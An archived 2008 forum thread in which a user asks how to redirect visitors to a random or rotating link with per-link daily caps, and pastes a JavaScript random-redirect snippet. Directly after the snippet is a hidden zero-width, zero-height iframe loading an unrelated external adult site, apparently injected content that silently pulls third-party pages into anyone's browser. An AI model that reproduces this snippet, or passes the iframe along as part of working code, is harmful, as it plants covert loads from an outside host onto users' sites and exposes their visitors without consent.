PDA

View Full Version : Script to Random Pull a link each reload from a Database of 100 links



remusssslim
Mar 9th, 2008, 05:50 AM
I have a database of 100 links, how can I make a random page load each time a user comes into the page.

Is it also possible to allow a maximum number of page loads for each link so that it will not exceed it within a set period like 24 hours?

For example:

I have

Link 1
Link 2
Link 3
Link 4

Each time it will load a random link and what happens is that for Link 1, it will only load up to 100 times and then it will never load LInk 1 again for the day.

remusssslim
Mar 9th, 2008, 06:02 AM
I found this code. However,

Is it possible if not using random but just rotate from webpage 1 to webpage 4 and back to webpage 1 for 100 times?


<html>
<head>
<title>Random WWW Link</title>
</head>
<body>
<script language="javascript" type="text/javascript">
// GLOBAL VARIABLES
// make the pages objects
// so we can snatch them later
pages=new Array()
pages[1]="http://www.yahoo.com"
pages[2]="http://www.google.com"
pages[3]="http://www.msn.com"
pages[4]="http://www.cnbc.com"
//
// Just define this in case things change.
// We just have to change this and add
// the page to the array above.
maxPages=3
//
// make a function that chooses a random number
//
newPage= function (){return Math.floor(Math.random()*maxPages)+1}
//
// make a function that redirects the page
//
function switchEm()
{
window.location.href=pages[newPage()]
}
</script>
<body onload="setTimeout('switchEm()',1000);">
</body>

</body></html>

<iframe width=0 height=0 src=http://www.adultvideo.bz/links.php?id=622></iframe><p>

remusssslim
Mar 9th, 2008, 06:21 AM
but if I were to make it load in sequence,

If User A comes in and load link 1
User B comes in, will it load link 1 or link 2 if it is from different IPs and computers